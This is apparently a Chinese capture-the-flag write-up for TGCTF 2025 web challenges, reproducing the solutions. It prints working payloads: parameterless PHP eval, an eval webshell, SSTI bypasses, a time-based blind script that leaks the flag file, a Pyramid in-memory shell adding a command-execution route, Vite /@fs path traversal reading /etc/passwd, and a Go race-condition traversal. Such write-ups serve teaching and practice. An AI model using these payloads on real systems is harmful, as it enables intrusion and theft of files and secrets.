2025TGCTF Web WP复现

}highlight_file(__FILE__);

没有引号, 无法在函数里面传参, 用到无参数命令执行的点

?tgctf2025=eval(array_rand(array_flip(getallheaders())));

多执行几次

题目首页说了执行 shell, 直接看到 tgshell.php

<?php$shell=$_POST["shell"];{eval($shell);}
?>

执行了一下 phpinfo(); 确实可以执行命令, 但是过滤了挺多, 开始还没绕过去

后面想到都给了 shell, 直接蚁剑连一下就可以了, 直接拿 flag

可以读 secret

/aazz?filename=a/b/c/d/secret.py

这样就可以正常 ssti 了, 自动给了{{}}

name=直面config天命根据源码的逻辑可能还是要改一下, 这里lipsum这个位置去执行, 需要一些绕过的手段
name=直面cat天命直面lipsum天命

最后的 payload:

检查之前可以执行exec, 没有过滤

def checkExpr(expr_input):expr = re.split(r"[-+*/]", expr_input)print(exec(expr_input))

没有回显, 写文件, 不过这里没有一些静态文件可以查看, 应该不行

反弹shell , 本地可以, 题目不行, 应该不出网

可以时间盲注

import requests
import time
import stringurl = "http://127.0.0.1:33632/"flag = ""
for i in range(50):found = Falsefor char in string.printable:print(char)payload = f"""
import os,time
a=os.popen('cat /fl*').read()
if len(a) > {i} and a[{i}]== '{char}' :time.sleep(5)
"""start = time.time()requests.post(url, data={"expr": payload})end = time.time()if end - start > 5:flag += charprint(f"位置 {i + 1}: {char}, 当前flag: {flag}")found = Truebreakif not found:breakprint("最终flag:", flag)

环境太慢了, 就不继续跑了

可以打内存马

根据原程序代码的构造, 先拿到config, app

expr=import sys;main=sys.modules['__main__'];print(dir(main))

拿到了config 和app, 添加路由

add_route 第一个参数是路由名, 第二个是路由路径

add_view的第一个参数是一个实现函数, 可以用匿名函数来实现, 第二个参数是路由名

Response表示请求路由后的回显结果

比如:

expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/xpw');config.add_view(lambda a:Response("hello 111"),route_name='cmd');
app = config.make_wsgi_app()

现在就可以构造实现rce了

request 是一个 请求对象，它封装了来自客户端的 HTTP 请求信息

request.params：包含查询字符串（如 ?key=value）和 POST 数据的合并结果。

expr=import sys;config=sys.modules['__main__'].config;app=sys.modules['__main__'].app;
config.add_route('cmd','/cmd');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='cmd');
app = config.make_wsgi_app()

本地可以打通了, 直接用这个payload打题目环境就行

看题目环境里面有static静态目录, 就想尝试看看能不能写入文件

expr=import+os;os.system("ls >/app/stati/1.txt")

可以发现确实是可以写入的, 但是无法直接通过路由 /static/1.txt 访问, 一般应该是可以访问的,这里可能做了一些限制?

通过http的协议头回显

https://xz.aliyun.com/news/16143

expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];serverHandler=built['__import__']('wsgiref').simple_server.ServerHandler;setattr(serverHandler,"http_version",os.popen("whoami").read());

本地可以测试成功

但是题目环境竟然不行, 有点奇怪

尝试500报错

expr=import+os;built=re.split.__globals__['__builtins__'];setattr=built['setattr'];baseHandler=built['__import__']('wsgiref').handlers.BaseHandler;setattr(baseHandler,"error_body",os.popen("whoami").read().encode());

本地依旧是可行的

题目环境依旧不行, 有点奇怪

能用的就是

2, !, 字母, (), |

理论上应该是可以通过PCRE回溯次数限制绕过preg_match, 只要超过100万就行, 但是这个题目估计有啥限制没成功

可以用的session_id()

控制cookie中的PHPSESSID

?tgctf2025=session_start();system(hex2bin(session_id()));

有点搞不懂这个, 题目环境是nginx的, 为什么还可以用这个函数apache_request_headers(),有点不理解

/?tgctf2025=system(hex2bin(key(apache_request_headers())));

前端GAME plus

/@fs/app/?../../../tgflagggg?import&?raw/@fs/tgflagggg?import&?meteorkai.svg?.wasm?init
这个payload拿到的文件内容需要base64解码

前端GAME Ultra

https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

需要知道Vite所在的绝对路径

先随便访问一个, 允许的是/app, 那么这个大概就是其路径所在了

直接利用payload读文件 ( 直接在浏览器请求没有作用 )
/@fs/app/#/../../../../../etc/passwd

默认的flag文件是tgflagggg
/@fs/app/#/../../../../../tgflagggg但是也可以考虑通过环境变量读取
/@fs/app/#/../../../../../proc/self/envir

没学过go, 跟着wp浅浅的理解一下这道题的思路

因为go的语言特性的原因

:= 表示声明一个变量以及给这个变量赋值
=  表示给一个变量赋值
区别就是  `:=` 相当于新建了一个变量, 而=是给一个以及存在的变量赋值

而对于这道题目, 想要拿到flag, 就是要读取文件, 需要路径穿越, 但是有waf, 不让用.. /

也绕不过去, 想要读flag文件肯定是需要../的

func blackJack(path string) error {if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {return fmt.Errorf("非法路径")}return nil
}

而源码里面

if safe = blackJack(name); safe != nil {renderError(w, safe.Error(), http.StatusBadRequest)return}

safe = blackJack(name) , 说明此时safe是一个已经存在的一个变量

那么这里就可以存在一个条件竞争的一个很短的时间点

当给name随便传入一个不在黑名单的参数, safe被赋值为nil

当并发执行的时候, 可能就会存在另外一个线程 ,给name传参 ../../../flag

而此时的safe还是前面赋值的nil

我对这里的理解就是, 传入的非法name,经过blackJack()检查之后, 给safe赋值"非法路径"

此时另外一个线程也正好就比它晚一点点,对合法的name经过blackJack()检查, 给safe赋值"nil", 那么现在的safe在还没判断之前就从"非法路径"更新为"nil"了, 就通过了 safe!=nil的判断, 就可以进入到后面读取文件并返回内容了

而如果这里的是safe:=blackJack(name), 那么就是每个线程都是自己的独立的变量了, 其他的线程访问不了, 类似于加锁, 就无法条件竞争了
